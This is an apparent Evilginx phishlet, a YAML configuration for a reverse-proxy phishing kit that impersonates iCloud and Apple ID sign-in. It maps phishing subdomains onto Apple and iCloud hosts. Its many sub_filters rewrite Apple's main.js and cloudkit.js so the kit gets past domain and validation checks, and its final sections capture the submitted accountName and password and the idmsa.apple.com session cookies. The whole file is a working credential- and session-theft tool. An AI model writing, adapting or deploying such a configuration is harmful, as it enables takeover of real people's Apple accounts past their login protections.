author: '@AN0NUD4Y'
min_ver: '2.3.0'
proxy_hosts:
  - {phish_sub: 'www', orig_sub: 'www', domain: 'icloud.com', session: true, is_landing: true}
  - {phish_sub: 'apple', orig_sub: 'www', domain: 'apple.com', session: false, is_landing: false}
  - {phish_sub: 'setup', orig_sub: 'setup', domain: 'icloud.com', session: false, is_landing: false}
  - {phish_sub: 'feedbackws', orig_sub: 'feedbackws', domain: 'icloud.com', session: false, is_landing: false}
  - {phish_sub: 'snapengage', orig_sub: 'www', domain: 'snapengage.com', session: false, is_landing: false}  
  - {phish_sub: 'idmsa', orig_sub: 'idmsa', domain: 'apple.com', session: false, is_landing: false}  
  - {phish_sub: 'cdn', orig_sub: 'cdn', domain: 'apple-cloudkit.com', session: false, is_landing: false}
  - {phish_sub: 'appleid', orig_sub: 'appleid', domain: 'cdn-apple.com', session: false, is_landing: false}
  - {phish_sub: 'ckdatabasews', orig_sub: 'ckdatabasews', domain: 'icloud.com', session: false, is_landing: false}
  


sub_filters:

#Multiple trigger is just to remove below metioned whole line at once its not removing at once from main.js 
#t.isError?e.delegate.authenticationDidFail(e,G(B.COULD_NOT_VALIDATE,t)):e._updateApplicationConfiguration(t).then

#  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: 't.isError?e.delegate.authenticationDidFail(e,G(B.COULD_NOT_VALIDATE,t)):e._updateApplicationConfiguration(t).then', replace: '', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

#Below Triggers to bypass the link format of "feedbackws.icloud.com" which was implemented in main.js
#"https://"+t+"feedbackws.icloud"+u
  - {triggers_on: 'www.icloud.com', orig_sub: 'feedbackws', domain: 'icloud.com', search: '"https://"+t+"feedbackws.icloud"+u', replace: 'https://{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
 
#Below It Triggers to Bypass The Domain Name Check in main.js
# Replace   c.a.sharedInstance.current.suffix,  to    ".com",

#  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: 'c.a.sharedInstance.current.suffix,', replace: '".com",', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

#Below It Triggers to Bypass The Domain Name Check in main.js
# Replace   e.promiseState=g.RESOLVED.REJECTED  to    e.promiseState=g.RESOLVED.FULFILLED
#  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: 'g.RESOLVED.REJECTED', replace: 'g.RESOLVED.FULFILLED', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}


# Replace   f(e,n,!0)   to    f(e,t)
#  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: 'f(e,n,!0)', replace: 'f(e,t)', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}



#Below It Triggers to Bypass The Domain Name Check in main.js
# Replace   e.promiseState=g.RESOLVED.REJECTED,n(t)    to    e.promiseState=g.RESOLVED.FULFILLED,t(n)
#  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '.REJECTED,n(t)', replace: '.FULFILLED,t(n)', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}


#BELOW Filters Are to bypass the "validateUser" Function in main.js file which was returning error.

#BELOW ARE SOME BASIC FILTERS APPLIED DURING TESTING

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: 'https://{hostname}', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'idmsa', domain: 'apple.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}  
  - {triggers_on: 'www.icloud.com', orig_sub: 'idmsa', domain: 'apple.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}  
  
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'apple.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'apple.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}


  - {triggers_on: 'cdn.apple-cloudkit.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'cdn.apple-cloudkit.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'cdn.apple-cloudkit.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: 'https://cdn.apple-cloudkit.com/ck/2/cloudkit.js', replace: 'https://{hostname}/ck/2/cloudkit.js/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}


  - {triggers_on: 'www.icloud.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'snapengage.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'snapengage.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'snapengage.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'snapengage.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'feedbackws', domain: 'icloud.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'feedbackws', domain: 'icloud.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'appleid', domain: 'cdn-apple.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'appleid', domain: 'cdn-apple.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'appleid', domain: 'cdn-apple.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'appleid', domain: 'cdn-apple.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'ckdatabasews', domain: 'icloud.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'ckdatabasews', domain: 'icloud.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'feedbackws.icloud.com', orig_sub: 'feedbackws', domain: 'icloud.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'feedbackws.icloud.com', orig_sub: 'feedbackws', domain: 'icloud.com', search: 'https://{hostname}/', replace: 'https://{hostname}/', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}


  
#BELOW I HAVE TRIGGERED ALL OCCURANCE "icloud.com" , "icloud.com.cn" , "iCloud.com" , ".com.cn" , "iCloud.com.cn"  in file main.js .. 
#For this to work user must Have a .com domain name.
 
  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"iCloud.com.cn"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '".com.cn"', replace: '".com"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com/system/cloudos2/2007Hotfix35/en-us/main.js', orig_sub: 'www', domain: 'icloud.com', search: '".com.cn"', replace: '".com"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '".com.cn"', replace: '".com"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '".com.cn"', replace: '".com"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'cdn.apple-cloudkit.com/ck/2/cloudkit.js', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'cdn.apple-cloudkit.com/ck/2/cloudkit.js', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'www.icloud.com', orig_sub: 'www', domain: 'icloud.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}

  - {triggers_on: 'cdn.apple-cloudkit.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/javascript', 'application/x-javascript']}
  - {triggers_on: 'cdn.apple-cloudkit.com', orig_sub: 'cdn', domain: 'apple-cloudkit.com', search: '"icloud.com"', replace: '"{hostname}"', mimes: ['text/html', 'text/javascript', 'application/json', 'application/javascript', 'application/x-javascript']}



auth_tokens:
  - domain: 'idmsa.apple.com'
    keys: ['sessionid','.*,regexp']
credentials:
  username:
    key: 'accountName'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
login:
  domain: 'www.icloud.com'
  path: ''